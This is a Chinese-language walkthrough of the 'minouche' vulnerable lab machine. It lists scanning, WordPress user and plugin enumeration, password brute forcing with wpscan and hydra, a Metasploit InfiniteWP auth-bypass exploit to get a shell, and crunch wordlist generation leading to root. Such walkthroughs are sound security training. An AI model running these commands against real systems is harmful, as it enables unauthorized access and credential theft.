minouche
靶机准备
先将靶机导入虚拟机,并将网络模式改为NAT
扫描不到ip,改VirtualBox,使用桥接,并将kali也改为桥接模式
扫描ip:192.168.0.102
netdiscover -r 192.168.0.0/24192.168.0.0/24
kali:192.168.0.105
渗透测试
扫描端口
nmap -sS -sV -T5 -A -p- 192.168.0.102
开放了3个端口
查看80端口
发现是wordpress的CMS框架
再用dirb扫描,确认一下
用wpscan扫描,枚举用户
wpscan --url http://192.168.0.102 -e u,p
扫描到一个用户:kitty
尝试爆破密码
wpscan --url http://192.168.0.102 -U kitty -P /usr/share/wordlists/rockyou.txt
半天爆不出来,尝试从插件入手,用此工具扫描其插件
wpscan --url http://192.168.0.102 -e u,p --plugins-detection mixed
扫描到插件iwp-client
发现有漏洞:
使用msf搜索此漏洞进行利用
search InfiniteWP
use exploit/unix/webapp/wp_infinitewp_auth_bypass
set lhost 192.168.0.105
set rhosts 192.168.0.102
set username kitty
exploit
成功拿到shell
挖掘信息
一直退到根目录下发现有一个kitty.txt文件,cat查看
有个提示,你的密码使用美元符+猫的名字+你出生的年份不是一个好密码
用kali下自带的crunch根据提示生成字典
命令:
crunch 13 13 -t "$"Minouche19%% -o 1.txt
crunch 13 13 -t "$"Minouche20%% -o 2.txt
用hydra爆破一波
hydra -l kitty -P 2.txt ssh://192.168.0.102
爆破出密码
利用得到的密码,登录
在目录下发现user.txt,cat查看
发现还有一个压缩包:android.zip
拷贝下来解压
scp kitty@192.168.0.102:~/android.zip /root
解压完以后多了一个data里面有很多数据
搜索数据库发现一个数据库里面有东西
find . -name *.db
打开数据库工具在里面发现有一长串数据
尝试用这串数据提权
提权成功
获取root目录下的数据
minouche的更多相关文章
随机推荐
- 使用docker部署canal
文章目录 mysql开启binlog mysql创建canal用户 启动canal容器 配置canal 启动canal容器 查看docker容器日志 canal-client 验证 关于canal m ...
- 深入MySQL(二):MySQL的数据类型
前言 对于MySQL中的数据类型的选择,不同的数据类型看起来可能是相同的效果,但是其实很多时候天差地别. 本章从MySQL中的常用类型出发,结合类型选择的常见错误,贯彻MySQL的常用类型选择. 常用 ...
- (翻译) CAP 理论 FAQ
CAP 理论 FAQ 0. 关于这个文档 没有其它比CAP理论更引人注意的话题了, 这个FAQ的目的, 是说明对于CAP, 当前哪些是已知的, 并帮助那些刚接触这个理论的人快速了解, 并解决一些错误的 ...
- Tabluea、Smartbi可视化仪表盘创建流程图分享
你知道Tableau.Smartbi在可视化仪表盘制作步骤上有何差异吗?下面一起来了解吧~ 根据上面的流程图我们可以了解到,不同于Smartbi是在同一界面即可完成的,Tableau是由很多个工作表组 ...
- docker:nginx+confd动态生成配置
docker:nginx+confd动态生成配置 当我们项目越来越多时手动去服务器修改nginx配置是一件很麻烦而且可能出错的事情.我们可以通过nginx+confd+配置中心实现一套方案避免出错并减 ...
- Python:lxml
学习自: python3解析库lxml - Py.qi - 博客园 lxml官方文档 lxml官方文档--lxml中的类.方法使用,如果需要查看某些方法的具体用法,就到这个网页下 python爬虫系列 ...
- MySQL第三讲
昨日内容回顾 公钥私钥 数据库存储引擎 MyISAM 是5.5版本之前默认的存储引擎 存取数据的速度较快.但是安全性偏差 三个文件 结构.索引.数据 InnoDB 5.5版本及之后默认的存储引擎 存取 ...
- linux Wireshark图解TCP三次握手与四次挥手
Linux Wireshark图解TCP三次握手与四次挥手 原文章链接:Wireshark图解TCP三次握手与四次挥手 文章内容丰富 值得学习
- 微信小程序码生成及canvas绘制
吐槽:某厂的开发文档写的跟屎一样 1.后台返回accessToken,小程序请求获取小程序码 uni.request({ url: 'https://api.weixin.qq.com/wxa/get ...
- 11 Java的方法 递归
6.递归 A方法调用B方法,我们很容易理解! 递归就是:A方法调用A方法!就是自己调用自己 利用递归可以用简单的程序来解决一些复杂的问题. 它通常把一个大型复杂的问题层层转化为一个与原问题相似的规模较 ...